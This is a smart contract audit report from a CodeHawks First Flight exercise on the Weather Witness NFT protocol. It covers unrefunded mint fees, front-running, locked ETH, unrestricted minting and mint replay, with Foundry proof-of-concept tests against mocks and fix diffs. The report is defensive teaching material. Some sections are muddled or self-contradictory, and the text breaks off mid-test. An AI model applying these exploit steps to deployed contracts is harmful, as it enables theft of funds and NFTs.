Protocol Summary

Weather Witness is a dynamic NFT protocol that ties ERC-721 tokens to real-world weather data. Upon minting, each NFT is linked to a specific geographic location and weather conditions. The protocol leverages Chainlink Functions to fetch weather data and Chainlink Automation (formerly Keepers) to periodically update NFT metadata and artwork according to changes in weather.

The protocol is upgradeable using UUPSUpgradeable from OpenZeppelin. It supports two update modes:

Automatic: via Chainlink Automation triggering performUpkeep().

Manual: users call manualUpdate() to trigger the update flow using Chainlink Functions.

Key Flows and Roles

🎓 User

Calls requestMintWeatherNFT(location) and pays in native tokens (e.g. ETH).

The location is validated and weather data fetched via Chainlink Functions.

On success, the NFT is minted and optionally registers for automatic updates.

📃 Chainlink Functions

Off-chain JavaScript code validates the location and queries weather APIs.

Used during minting (requestMintWeatherNFT) and updates (manualUpdate, performUpkeep).

🔁 Chainlink Automation (optional)

If the user deposits enough LINK during mint, the NFT is automatically updated.

Triggers performUpkeep() every X hours if new weather data is available.

Invariants

Minting requires a valid geographic location and successful off-chain data retrieval.

Upkeep can only occur if:

Enough time has passed since the last update (heartbeat).

Weather has changed meaningfully since last update.

Automation is opt-in and funded by the user at mint time via LINK.

A minted NFT must be updated only once per interval.

The fulfillMintRequest() function must:

Validate the request ID.

Avoid double-minting or outdated fulfillments.

Disclaimer

Rubén Cruz has performed a time-boxed audit exercise on Weather Witness as part of a Cyfrin CodeHawks First Flight challenge. This report is the result of a security review of the Solidity and JavaScript code provided. No warranties are offered regarding the complete security of the protocol. This is not an endorsement of the product or its business logic.

Risk Classification

Impact \ Likelihood High Medium Low High H H/M M Medium H/M M M/L Low M M/L L

Classification based on the CodeHawks severity matrix.

Audit Details

Scope:

contracts/WeatherNft.sol

contracts/WeatherNftStore.sol

Issues Found

Severity of Issues High 4 Medium 2 Low 0 Total 6

Loss of Funds and Unjust Price Inflation in `WeatherNft::requestMintWeatherNFT`

Description

The `WeatherNft::requestMintWeatherNFT` function increases the global `s_currentMintPrice` immediately upon receiving a mint request, before confirming the success of the minting process. If the Chainlink oracle call fails (returns an error or no response), the minting is aborted, but the price is still incremented and the user has paid for nothing. This results in users losing ETH without receiving an NFT, and future users being unfairly charged a higher mint price, despite no NFT being minted.

Vulnerability Details

The vulnerability originates in the logic of `WeatherNft::requestMintWeatherNFT`, which:

1. Requires the user to send exactly `s_currentMintPrice` in ETH.
2. Immediately increases the global `s_currentMintPrice`.
3. Issues a Chainlink Functions request.
4. Defers NFT minting until `WeatherNft::fulfillMintRequest` receives a valid oracle response.

If the oracle call fails:

No NFT is minted.

The user's ETH is retained by the contract with no refund.

The `s_currentMintPrice` increases for all future users.

This breaks user expectations by charging them for a mint operation that never completes, while also causing unjustified mint price inflation.

Likelihood

The issue will happen every time `requestMintWeatherNFT` is called and no mint happens, for example with an oracle fail.

Impact

Fund Loss: Users can permanently lose ETH if the oracle request fails, with no way to recover the funds or obtain the NFT they intended to mint.

Broken Pricing Model: The mint price increases despite no NFT being issued, which degrades the logic and fairness of the protocol's supply/demand mechanism.

Proof of Concept

1. A user sends a correct payment via `requestMintWeatherNFT`.
2. The `s_currentMintPrice` increases immediately.
3. The Chainlink oracle returns an error.
4. The contract exits without minting and retains the user's ETH.
5. Future users face a higher `s_currentMintPrice`.

Proof of Code

To reproduce the vulnerability, modify the `WeatherNft::_sendFunctionsWeatherFetchRequest` function, to allow a mock test that uses this function:

Important Note: This is made only for test purposes and should not be used in production.
Remember to revert the changes after testing.

```
- function _sendFunctionsWeatherFetchRequest(...) internal returns (...)
+ function _sendFunctionsWeatherFetchRequest(...) internal virtual returns (...)
.
.
.
- function fulfillMintRequest(bytes32 requestId) external {
+ function fulfillMintRequest(bytes32 requestId) public {
```

We use mocks to create a fully self-contained testing environment that avoids any live Chainlink deployments. The MockLinkToken stands in for the real LINK token so your contract can receive, approve and spend LINK without a live ERC-20. The MockWeatherNft extends your real NFT contract to override external oracle calls and keeper logic, giving you a fixed request ID, a way to inject simulated oracle responses, and a controlled upkeep flow.

Create a `MockContracts` test file containing mock implementations of both the `LinkToken` contract and the `WeatherNft` contract.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

import {LinkTokenInterface} from
"@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
import {WeatherNft, WeatherNftStore} from "src/WeatherNft.sol";

/// @notice Mock LINK token implementing minimal ERC20 + transferAndCall
contract MockLinkToken is LinkTokenInterface {
    mapping(address => uint256) public override balanceOf;
    mapping(address => mapping(address => uint256)) public override allowance;
    uint256 public totalSupply;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function transfer(address to, uint256 amt) external override returns (bool) {
        require(balanceOf[msg.sender] >= amt, "MockLink: insufficient");
        balanceOf[msg.sender] -= amt;
        balanceOf[to] += amt;
        return true;
    }

    function approve(address spender, uint256 amt) external override returns
(bool) {
        allowance[msg.sender][spender] = amt;
        return true;
    }

    function transferFrom(address from, address to, uint256 amt) external override
returns (bool) {
        require(allowance[from][msg.sender] >= amt, "MockLink: not allowed");
        allowance[from][msg.sender] -= amt;
        balanceOf[from] -= amt;
        balanceOf[to] += amt;
        return true;
    }

    function transferAndCall(address to, uint256 amt, bytes calldata) external
override returns (bool) {
        require(balanceOf[msg.sender] >= amt, "MockLink: insufficient");
        balanceOf[msg.sender] -= amt;
        balanceOf[to] += amt;
        return true;
    }

    function decimals() external pure override returns (uint8) {
```

```
        return 18;
    }
    function name() external pure override returns (string memory) {
        return "MockLINK";
    }
    function symbol() external pure override returns (string memory) {
        return "LINK";
    }
    function decreaseApproval(address spender, uint256 addedValue) external
override returns (bool) {
        uint256 old = allowance[msg.sender][spender];
        if (addedValue >= old) {
            allowance[msg.sender][spender] = 0;
        } else {
            allowance[msg.sender][spender] = old - addedValue;
        }
        return true;
    }
    function increaseApproval(address spender, uint256 subtractedValue) external
override {
        allowance[msg.sender][spender] += subtractedValue;
    }
}

/// @notice Mock WeatherNft overriding the Functions request to return a fixed
requestId
contract MockWeatherNft is WeatherNft {
    bytes32 public constant FIXED_REQ = keccak256("MOCK_REQ");

    constructor(
        WeatherNftStore.Weather[] memory weathers,
        string[] memory uris,
        address functionsRouter,
        WeatherNftStore.FunctionsConfig memory cfg,
        uint256 mintPrice,
        uint256 step,
        address link,
        address keeperRegistry,
        address keeperRegistrar,
        uint32 upkeepGaslimit
    ) WeatherNft(
        weathers,
        uris,
        functionsRouter,
        cfg,
        mintPrice,
        step,
        link,
        keeperRegistry,
        keeperRegistrar,
        upkeepGaslimit
    ) {}

    /// @dev Override to return a deterministic requestId without on-chain call
```

```
    function _sendFunctionsWeatherFetchRequest(
        string memory,
        string memory
    ) internal pure override returns (bytes32) {
        return FIXED_REQ;
    }

    /// @dev Expose internal callback for tests
    function simulateOracleResponse(
        bytes32 reqId,
        bytes memory resp,
        bytes memory err
    ) external {
        fulfillRequest(reqId, resp, err);
    }
}
```

Then, create a test file that uses these mocks to demonstrate how the system behaves when the oracle does not respond and no NFT is minted.:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

import {Test, console2} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {WeatherNftStore} from "src/WeatherNftStore.sol";
import {MockLinkToken, MockWeatherNft} from "test/mocks/MockContracts.t.sol";

contract WeatherNftUnitTest is Test {
    MockLinkToken public linkToken;
    MockWeatherNft public weatherNft;
    address public user;
    address public functionsRouter = address(0x1234);

    function setUp() public {
        // 1) Deploy mock LINK
        linkToken = new MockLinkToken();

        // 2) Prepare Weather enum array and URIs
        WeatherNftStore.Weather[] memory weathers = new WeatherNftStore.Weather[]
(1);
        weathers[0] = WeatherNftStore.Weather.SUNNY;
        string[] memory uris = new string[](1);
        uris[0] = "ipfs://dummy";

        // 3) Configure Chainlink Functions
        WeatherNftStore.FunctionsConfig memory cfg =
WeatherNftStore.FunctionsConfig({
            source: "",
            encryptedSecretsURL: "",
            subId: 0,
```

```
            gasLimit: 200_000,
            donId: bytes32(0)
        });

        // 4) Deploy MockWeatherNft pointing to our mocks
        weatherNft = new MockWeatherNft(
            weathers,
            uris,
            functionsRouter,
            cfg,
            /* mintPrice= */ 1 ether,
            /* step=      */ 0.1 ether,
            address(linkToken),
            /* keeperRegistry= */ address(0),
            /* keeperRegistrar=*/ address(0),
            /* upkeepGaslimit= */ 200_000
        );

        // 5) Fund user
        user = makeAddr("user");
        vm.deal(user, 10 ether);
        linkToken.mint(user, 1000 ether);
    }

   /// @dev Demonstrates that if the oracle returns an error, price increases but
no NFT is minted
    function test_priceIncreasesWhenOracleError() public {
        // 1) Record price before mint
        uint256 beforePrice = weatherNft.s_currentMintPrice();
        console2.log("Price before request", beforePrice);
        uint256 beforeCounter = weatherNft.s_tokenCounter();
        console2.log("NFTs minted before request", beforeCounter);
        uint256 beforeUserBalance = user.balance;
        console2.log("User balance before request", beforeUserBalance);

        // 2) User requests mint, paying exactly beforePrice
        vm.startPrank(user);
        bytes32 reqId = weatherNft.requestMintWeatherNFT{ value: beforePrice }(
            "28001", "ES", false, 0, 0
        );

        vm.stopPrank();

        // 3) Simulate oracle failure via our mock
        weatherNft.simulateOracleResponse(
            weatherNft.FIXED_REQ(),
            "",       // empty response
            hex"01"  // non-empty err to trigger return
        );

        // 4) Assert price was incremented by stepIncreasePerMint
        uint256 afterPrice = weatherNft.s_currentMintPrice();
        console2.log("Price after request", afterPrice);
        uint256 afterCounter = weatherNft.s_tokenCounter();
```

```
        console2.log("NFTs minted after request", afterCounter);
        uint256 afterUserBalance = user.balance;
        console2.log("User balance after request", afterUserBalance);

        //assertEq(afterPrice, beforePrice + weatherNft.s_stepIncreasePerMint());

        // 5) Assert user did NOT receive the NFT
        console2.log("NFT's balance of user", weatherNft.balanceOf(user));
```

The console logs should clearly demonstrate the following:

- The mint price increases even though no NFT is minted.
- No NFT is actually minted as a result of the simulated oracle failure.
- The user's ETH balance decreases, indicating that funds were accepted despite the failure to deliver the NFT.

```
Price before request 1000000000000000000
NFTs minted before request 1
User balance before request 10000000000000000000
Price after request 1100000000000000000
NFTs minted after request 1
User balance after request 9000000000000000000
NFT's balance of user 0
```

Tools Used

This issue was found by manual review of the code.

Recommendations

Refactor `requestMintWeatherNFT` to only increase the mint price if the oracle call succeeds. Store the user's ETH in a temporary buffer to allow for refunds if the mint fails.

Add the following changes to `WeatherNftStore.sol` file:
This will temporarily hold each user's ETH in a "pending" buffer keyed by their oracle request ID. If the mint fails, we can refund exactly what they paid.

```
    // variables
     uint256 public s_tokenCounter;
     mapping(Weather => string) public s_weatherToTokenURI;
     FunctionsConfig public s_functionsConfig;
     mapping(bytes32 => UserMintRequest) public s_funcReqIdToUserMintReq;
     mapping(bytes32 => MintFunctionReqResponse) public
s_funcReqIdToMintFunctionReqResponse;
     mapping(bytes32 => uint256) public s_funcReqIdToTokenIdUpdate;
     uint256 public s_currentMintPrice;
     uint256 public s_stepIncreasePerMint;
```

```
    mapping(uint256 => Weather) public s_tokenIdToWeather;
    mapping(uint256 => WeatherNftInfo) public s_weatherNftInfo;
    address public s_link;
    address public s_keeperRegistry;
    address public s_keeperRegistrar;
    uint32 public s_upkeepGaslimit;
+   mapping(bytes32 => uint256) private s_pendingMintValue;

    // events
    event WeatherNFTMintRequestSent(address user, string pincode, string isoCode,
bytes32 reqId);
    event WeatherNFTMinted(bytes32 reqId, address user, Weather weather);
    event NftWeatherUpdateRequestSend(uint256 tokenId, bytes32 reqId, uint256
upkeepId);
    event NftWeatherUpdated(uint256 tokenId, Weather weather);
+   event MintRefunded(bytes32 indexed requestId, address indexed user, uint256
amount);
```

And this modifications to the `WeatherNft.sol` file:

Remove the immediate price bump from `requestMintWeatherNFT` and add the new logic, that right after you emit the mint-request event, saves the exact `msg.value` under the returned `_reqId`. Then, add to `fulfillMintRequest` the code shown, which drives both refund and successful mint logic.

```
     function requestMintWeatherNFT(
         string memory _pincode,
         string memory _isoCode,
         bool _registerKeeper,
         uint256 _heartbeat,
         uint256 _initLinkDeposit
     ) external payable returns (bytes32 _reqId) {
         require(
             msg.value == s_currentMintPrice,
             WeatherNft__InvalidAmountSent()
         );
-        s_currentMintPrice += s_stepIncreasePerMint;
    if (_registerKeeper) {
            IERC20(s_link).safeTransferFrom(
                msg.sender,
                address(this),
                _initLinkDeposit
            );
        }

        _reqId = _sendFunctionsWeatherFetchRequest(_pincode, _isoCode);

        emit WeatherNFTMintRequestSent(msg.sender, _pincode, _isoCode, _reqId);
+       s_pendingMintValue[_reqId] = msg.value;

.
.
```

```
.
    function fulfillMintRequest(bytes32 requestId) external {
        bytes memory response =
s_funcReqIdToMintFunctionReqResponse[requestId].response;
        bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;

        require(response.length > 0 || err.length > 0,
WeatherNft__Unauthorized());

        if (response.length == 0 || err.length > 0) {
            uint256 paid = s_pendingMintValue[requestId];
+            delete s_pendingMintValue[requestId];
+            address user = s_funcReqIdToUserMintReq[requestId].user;
+            payable(user).transfer(paid);
+            emit MintRefunded(requestId, user, paid);
+            return;

        }

+       s_currentMintPrice += s_stepIncreasePerMint;

        UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[
            requestId
        ];
```

Finally, create a function that allows users to get a refund if its NFT is not minted. Add it to `WeatherNftStore.sol`

```
   function refundFailedMint(bytes32 requestId) external {
        require(
            msg.sender == s_funcReqIdToUserMintReq[requestId].user,
            "Only requester can refund"
        );
        uint256 paid = s_pendingMintValue[requestId];
        require(paid > 0, "No refund available");
        delete s_pendingMintValue[requestId];
        payable(msg.sender).transfer(paid);
    }
```

Price Increment Front-Running in requestMintWeatherNFT

Description

In the WeatherNft contract, the function requestMintWeatherNFT() performs two key operations in this order:

Price Increment: it increases s_currentMintPrice by s_stepIncreasePerMint.

NFT Minting: after validating that the sent value covers the new price, it issues the NFT.

Although this design is atomic, it exposes a front-running window: an attacker can observe the victim's pending transaction in the mempool, inject their own with higher gas price to execute first, capture the mint at the "old" price, and force the victim to pay the now-increased price.

Vulnerability Details

Legitimate User (Victim)

Sends requestMintWeatherNFT{value: P} expecting to pay the current price P and receive the NFT.

Their transaction sits pending in the mempool.

Attacker

Monitors the mempool and spots the victim's tx with value = P.

Submits their own requestMintWeatherNFT{value: P} with a higher gas price, guaranteeing their call is mined first.

Immediately increases the global `s_currentMintPrice`.

Issues a Chainlink Functions request.

Defers NFT minting until `WeatherNft::fulfillMintRequest` receives a valid oracle response.

If the oracle call fails:

No NFT is minted.

The user's ETH is retained by the contract with no refund.

The `s_currentMintPrice` increases for all future users.

This breaks user expectations by charging them for a mint operation that never completes, while also causing unjustified mint price inflation.

Impact

1. Financial

Attacker acquires mint at the "cheap" price and may resell or manipulate downstream pricing.

Victim incurs unexpected extra cost or undone transaction.

2. Trust & Reputation

Users lose confidence when mints consistently fail or cost more.

Negative perception of protocol integrity.

3. Availability

Under high demand, repeated exploits can escalate mint costs, deterring legitimate users.

Proof-of-Concept Flow

1. Victim Submits transaction.

Victim sends: Tx_Victim: requestMintWeatherNFT{value: P, gasPrice: 50 gwei} It remains pending in the mempool.

2. Attacker Detects It. Uses a mempool watcher to spot Tx_Victim.

3. Attacker Front-Runs Sends a transaction with higher gas price. Tx_Attacker: requestMintWeatherNFT{value: P, gasPrice: 100 gwei} Miners include it before Tx_Victim.

Attacker's transaction Executes.

`s_currentMintPrice` goes from P to P + Δ. The contract still reads the old price P for the payment check and mints the NFT to the attacker.

State after execution:

`s_currentMintPrice = P + Δ` Attacker owns tokenId N.

4. Victim's transaction fails. When Tx_Victim executes, it sees `s_currentMintPrice = P + Δ` but `msg.value = P`, so it reverts with "Insufficient payment".

Consequences Victim must resend a transaction paying P + Δ to mint their NFT.

Recommended Mitigation

Consider implementing one of the following front-running mitigation strategies:

1. Commit–Reveal via Commit Hash Introduce a two-phase process where users first submit a hashed commitment of their mint intent (including a secret salt and block reference). Only after that commitment is recorded do they reveal the secret and actually mint at the price snapshot. This ensures the intended mint parameters remain hidden in the mempool until it's too late to front-run.

2. Off-Chain Vouchers with Chainlink Functions Use a Chainlink Functions job to calculate and sign each user's mint details (user address, price, a one-time nonce) off-chain. The signed voucher is submitted on-chain when minting; since the price and nonce are only revealed in that final transaction, observers cannot frontrun based on mempool data.

H-2: Contract Locks Ether Without a Withdrawal Function

Description

The `WeatherNftSol::requestMintWeatherNFT` function is marked payable and collects ETH from users as minting fees. However, the contract provides no mechanism for the owner (or any authorized party) to withdraw the accumulated ETH. As a result, all ETH sent to the contract remains permanently locked, preventing the project from accessing its minting revenue.

Vulnerability Details

Missing Withdrawal Mechanism: Although the contract accepts ETH via a payable function, there is no owner-only withdrawal function.

No Fallback/Receive Handler: The contract lacks a fallback() or receive() function that could facilitate ETH recovery or forwarding.

Impact

Lost Revenue: Minting fees accumulate indefinitely with no way to retrieve them.

Operational Risk: Inability to withdraw funds undermines project sustainability and damages user trust.

Tools Used

This issue was found by using Aderyn and Slither.

Recommended Mitigation

Add a secure, owner-only withdrawal function that adheres to the checks-effects-interactions pattern. It should:

Verify that the contract's balance is positive.

(If applicable) Update any relevant state variables before transferring funds.

Transfer ETH using a low-level call and revert on failure.

Emit an event for auditability.

Implement the withdrawEther function in `WeatherNft.sol` and the corresponding EtherWithdrawn event in `WeatherNftStore.sol` file.

```
   contract WeatherNftStore {
   .
   .
   .
   event WeatherNFTMintRequestSent(address user, string pincode, string isoCode,
bytes32 reqId);
   event WeatherNFTMinted(bytes32 reqId, address user, Weather weather);
   event NftWeatherUpdateRequestSend(uint256 tokenId, bytes32 reqId, uint256
upkeepId);
   event NftWeatherUpdated(uint256 tokenId, Weather weather);
+  event EtherWithdrawn(uint256 amount);
```

```
contract WeatherNft is WeatherNftStore, ERC721, FunctionsClient, ConfirmedOwner,
AutomationCompatibleInterface {
.
.
.
/// @notice Withdraw all ETH from the contract to the owner
function withdrawEther() external onlyOwner {
    uint256 balance = address(this).balance;
```

```
        require(balance > 0, "No ETH to withdraw");

        // Interactions last: transfer funds
        (bool success, ) = payable(owner()).call{ value: balance }("");
        require(success, "ETH withdrawal failed");

        emit EtherWithdrawn(balance);
    }
```

To ensure that only the contract's owner can withdraw Ether, follow these steps:

1. **Declare and initialize the owner**
   Define a private `owner` variable and set it to `msg.sender` in the constructor so that the deployer becomes the owner.
2. **Create the `onlyOwner` modifier**
   Implement a modifier that checks `require(msg.sender == owner, "Caller is not the owner");` and then runs the rest of the function.
3. **Protect `withdrawEther`**
   Simply add `onlyOwner` to the `withdrawEther` function signature. This guarantees that any attempt to call it from a non-owner address will revert..

H-3: Insecure fulfillMintRequest Allows Arbitrary Minting

Description

The function `WeatherNft::fulfillMintRequest` is designed to be called by the Chainlink Functions router when an off-chain computation completes, in order to mint a Weather NFT for the user who originally paid the mint fee. However, it is declared external with no access control modifier, and incorrectly uses msg.sender as the recipient of the minted token.

Vulnerability Details

Missing Access Restriction in function `fulfillMintRequest`. Any on-chain account can invoke this function with a valid requestId; there is no onlyOwner, onlyFunctionsClient, or other guard to ensure only the genuine Chainlink router may call it.

Incorrect Recipient (msg.sender) Inside the function, the contract does:

```
emit WeatherNFTMinted(requestId, msg.sender, Weather(weather));
_mint(msg.sender, tokenId);
```

Here, msg.sender refers to the caller of `fulfillMintRequest`, not the original minter stored in `s_funcReqIdToUserMintReq[requestId].user`.

Mapping Lookup Not Used for Minting Although the contract records the true minter in `s_funcReqIdToUserMintReq[requestId]`, that address is never consulted when actually minting the token.

Impact

Unauthorized Minting: An attacker can capture or guess a valid requestId and call fulfillMintRequest, causing the NFT to be minted into their own wallet without paying the required mint fee.

Revenue Loss and Dilution: Legitimate users lose their token or pay fees for nothing, and total supply increases unexpectedly, harming both user trust and project economics.

Proof of Concept

User Mint Request

The contract emits `WeatherNFTMintRequestSent` and stores `s_funcReqIdToUserMintReq[reqId].user = user`.

Attacker called `fullfiler` captures reqId.

Attacker calls `fulfillMintRequest`.

Because there is no caller check, `fullfiler` is allowed.

Inside, `msg.sender == fullfiler`, so _mint(fullfiler, tokenId) is executed.

`fullfiler` receives the NFT without ever paying.

Proof of Code

For test purposes, we need to modify the `WeatherNft::_sendFunctionsWeatherFetchRequest` function, making it virtual. Important Note: This is made only for test purposes and should not be used in production. Remember to revert the changes after testing.

```
- function _sendFunctionsWeatherFetchRequest(...) internal returns (...)
+ function _sendFunctionsWeatherFetchRequest(...) internal virtual returns (...)
```

Use mocks to create a fully self-contained testing environment that avoids any live Chainlink deployments. The MockLinkToken stands in for the real LINK token so your contract can receive, approve and spend LINK without a live ERC-20. The MockWeatherNft extends your real NFT contract to override external oracle calls and keeper logic, giving you a fixed request ID, a way to inject simulated oracle responses, and a controlled upkeep flow.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

import {LinkTokenInterface} from
"@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
import {WeatherNft, WeatherNftStore} from "src/WeatherNft.sol";

/// @notice Mock LINK token implementing minimal ERC20 + transferAndCall
```

```
contract MockLinkToken is LinkTokenInterface {
    mapping(address => uint256) public override balanceOf;
    mapping(address => mapping(address => uint256)) public override allowance;
    uint256 public totalSupply;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function transfer(address to, uint256 amt) external override returns (bool) {
        require(balanceOf[msg.sender] >= amt, "MockLink: insufficient");
        balanceOf[msg.sender] -= amt;
        balanceOf[to] += amt;
        return true;
    }

    function approve(address spender, uint256 amt) external override returns
(bool) {
        allowance[msg.sender][spender] = amt;
        return true;
    }

    function transferFrom(address from, address to, uint256 amt) external override
returns (bool) {
        require(balanceOf[from] >= amt, "MockLink: insufficient");
        if (from != msg.sender) {
            require(allowance[from][msg.sender] >= amt, "MockLink: not allowed");
            allowance[from][msg.sender] -= amt;
        }
        balanceOf[from] -= amt;
        balanceOf[to] += amt;
        return true;
    }

    function transferAndCall(address to, uint256 amt, bytes calldata) external
override returns (bool) {
        require(balanceOf[msg.sender] >= amt, "MockLink: insufficient");
        balanceOf[msg.sender] -= amt;
        balanceOf[to] += amt;
        return true;
    }

    function decimals() external pure override returns (uint8) {
        return 18;
    }
    function name() external pure override returns (string memory) {
        return "MockLINK";
    }
    function symbol() external pure override returns (string memory) {
        return "LINK";
    }
    function decreaseApproval(address spender, uint256 addedValue) external
override returns (bool) {
```

```
        uint256 old = allowance[msg.sender][spender];
        if (addedValue >= old) {
            allowance[msg.sender][spender] = 0;
        } else {
            allowance[msg.sender][spender] = old - addedValue;
        }
        return true;
    }
    function increaseApproval(address spender, uint256 subtractedValue) external
override {
        allowance[msg.sender][spender] += subtractedValue;
    }
}

/// @notice Mock WeatherNft overriding the Functions request to return a fixed
requestId
contract MockWeatherNft is WeatherNft {
    bytes32 public constant FIXED_REQ = keccak256("MOCK_REQ");

    constructor(
        WeatherNftStore.Weather[] memory weathers,
        string[] memory uris,
        address functionsRouter,
        WeatherNftStore.FunctionsConfig memory cfg,
        uint256 mintPrice,
        uint256 step,
        address link,
        address keeperRegistry,
        address keeperRegistrar,
        uint32 upkeepGaslimit
    ) WeatherNft(
        weathers,
        uris,
        functionsRouter,
        cfg,
        mintPrice,
        step,
        link,
        keeperRegistry,
        keeperRegistrar,
        upkeepGaslimit
    ) {}

    function _sendFunctionsWeatherFetchRequest(
        string memory,
        string memory
    ) internal pure override returns (bytes32) {
        return FIXED_REQ;
    }

    function simulateOracleResponse(
        bytes32 reqId,
        bytes memory resp,
        bytes memory err
```

```
    ) public {
        fulfillRequest(reqId, resp, err);
    }
```

Then, add this enviroment to a new test file to test the vulnerability:

```
import {Test, console2} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {WeatherNftStore} from "src/WeatherNftStore.sol";
import {MockLinkToken, MockWeatherNft} from "test/mocks/MockContracts.t.sol";

contract WeatherNftUnitTest is Test {
    MockLinkToken public linkToken;
    MockWeatherNft public weatherNft;

    address public user;
    address public functionsRouter = address(0x1234);

    uint256 constant HEARTBEAT = 60;
    uint256 constant LINK_PER_KEEP = 0.1 ether;

    function setUp() public {
        // 1) Deploy mock LINK
        linkToken = new MockLinkToken();

        // 2) Prepare Weather enum array and URIs
        WeatherNftStore.Weather[] memory weathers = new WeatherNftStore.Weather[]
(1);
        weathers[0] = WeatherNftStore.Weather.SUNNY;
        string[] memory uris = new string[](1);
        uris[0] = "ipfs://dummy";

        // 3) Configure Chainlink Functions
        WeatherNftStore.FunctionsConfig memory cfg =
WeatherNftStore.FunctionsConfig({
            source: "",
            encryptedSecretsURL: "",
            subId: 0,
            gasLimit: 200_000,
            donId: bytes32(0)
        });

        // 4) Deploy MockWeatherNft pointing to our mocks
        weatherNft = new MockWeatherNft(
            weathers,
            uris,
            functionsRouter,
            cfg,
            /* mintPrice= */ 1 ether,
            /* step=      */ 0.1 ether,
            address(linkToken),
            /* keeperRegistry= */ address(0),
```

```
            /* keeperRegistrar=*/ address(0),
            /* upkeepGaslimit= */ 200_000
        );

        // 5) Fund user
        user = makeAddr("user");
        vm.deal(user, 10 ether);
        linkToken.mint(user, 1000 ether);
    }

    function test_UserCanFulfillWithoutRequest() public {
    uint256 actualPrice = weatherNft.s_currentMintPrice();

    vm.startPrank(user);
    bytes32 reqId = weatherNft.requestMintWeatherNFT{ value: actualPrice }(
        "28001", "ES", false, 0, 0
    );
    weatherNft.simulateOracleResponse(
    reqId,
    abi.encode(uint8(WeatherNftStore.Weather.SUNNY)),
    ""
    );
    vm.stopPrank();
    address fulfiller = makeAddr("fulfiller");
    vm.prank(fulfiller);
    weatherNft.fulfillMintRequest(reqId);
    console2.log("Fulfiller nft balance", weatherNft.balanceOf(fulfiller));
}
```

Recommendations

Restrict Access

Allow only the Chainlink router contract to call fulfillMintRequest:

Add `address private immutable i_functionsRouter;` at `WeatherNftStore` contract, initialize it in the `WeatherNft` contract constructor and add the following code to `WeatherNft`:

```
+ modifier onlyFunctionsRouter() {
+ require(msg.sender == i_functionsRouter, "Unauthorized");
+ _;
+ }

function fulfillMintRequest(bytes32 requestId)
  external
+ onlyFunctionsRouter
{}
```

Mint Replay in `WeatherNft::fulfillMintRequest` Allows Infinite NFTs with the Same Request ID

Description

The `WeatherNft::fulfillMintRequest(bytes32 requestId)` function permits anyone to mint an unlimited number of NFTs by reusing the same Chainlink Functions requestId. After the oracle's response (or error) is stored, any party aware of that requestId can repeatedly invoke `fulfillMintRequest` and mint a new token each time, as there is no mechanism to mark a request as consumed or to clear its stored data.

Vulnerability Details

Affected Function

```
function fulfillMintRequest(bytes32 requestId) external { … }
```

Exploit Mechanism

When Chainlink returns a result (or an error), it is recorded in `s_funcReqIdToMintFunctionReqResponse[requestId]`.

`fulfillMintRequest` only checks that a non-empty response or error exists:

```
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
```

After minting and emitting the NFT event, the contract makes no further changes to that mapping.

Because the mapping remains populated, calling `fulfillMintRequest(requestId)` again will pass the same check and mint another token.

Missing Protections No "already processed" flag. The contract never tracks whether a request has been fulfilled.

No cleanup of stored data. Neither the user's request nor the oracle's response is deleted after minting.

Insufficient require-check. The function only asserts that a response or error exists, without ensuring it hasn't been used before.

Likelihood

High.

The `WeatherNFTMintRequestSent` event publicly emits the requestId.

Anyone with basic knowledge of Etherscan or contract storage can retrieve it.

The function is external and lacks any access control, so any actor can exploit it.

Impact

Severe. An attacker can mint an arbitrary number of NFTs without paying additional fees. This permanently inflates the supply, dilutes token value, and leads to financial loss for both the project and legitimate collectors.

Proof of Concept

1. User A calls `WeatherNft::requestMintWeatherNFT(...)` paying the required fee.
2. The Chainlink oracle processes the request and stores the result under requestId = 0xABC....
3. User A calls `WeatherNft::fulfillMintRequest(0xABC…)` and receives a newly minted token.

Repeating step 3 mints additional tokens indefinitely.

Proof of Code

For test purposes, we need to modify the `WeatherNft::_sendFunctionsWeatherFetchRequest` function, making it virtual.

```
- function _sendFunctionsWeatherFetchRequest(...) internal returns (...)
+ function _sendFunctionsWeatherFetchRequest(...) internal virtual returns (...)
```

Important Note: This is made only for test purposes and should not be used in production.
Remember to revert the changes after testing.

Use mocks to create a fully self-contained testing environment that avoids any live Chainlink deployments. The MockWeatherNft extends your real NFT contract to override external oracle calls and keeper logic, giving you a fixed request ID and a way to inject simulated oracle responses.

Create a MockContracts test file with the following code, mocking `WeatherNft` contract:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

import {WeatherNft, WeatherNftStore} from "src/WeatherNft.sol";

contract MockWeatherNft is WeatherNft {
    bytes32 public constant FIXED_REQ = keccak256("MOCK_REQ");

    constructor(
        WeatherNftStore.Weather[] memory weathers,
        string[] memory uris,
        address functionsRouter,
        WeatherNftStore.FunctionsConfig memory cfg,
        uint256 mintPrice,
        uint256 step,
```

```
        address link,
        address keeperRegistry,
        address keeperRegistrar,
        uint32 upkeepGaslimit
    ) WeatherNft(
        weathers,
        uris,
        functionsRouter,
        cfg,
        mintPrice,
        step,
        link,
        keeperRegistry,
        keeperRegistrar,
        upkeepGaslimit
    ) {}

    function _sendFunctionsWeatherFetchRequest(
        string memory,
        string memory
    ) internal pure override returns (bytes32) {
        return FIXED_REQ;
    }

    function simulateOracleResponse(
        bytes32 reqId,
        bytes memory resp,
        bytes memory err
    ) public {
        fulfillRequest(reqId, resp, err);
    }
}
```

Then, create a new test file enviroment with the following code:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

import {Test, console2} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {WeatherNftStore} from "src/WeatherNftStore.sol";
import {MockWeatherNft} from "test/mocks/MockContracts.t.sol";


contract WeatherNftUnitTest is Test {

    MockWeatherNft public weatherNft;

    address public user;
    address public functionsRouter = address(0x1234);
```

```
    function setUp() public {

        // 2) Prepare Weather enum array and URIs
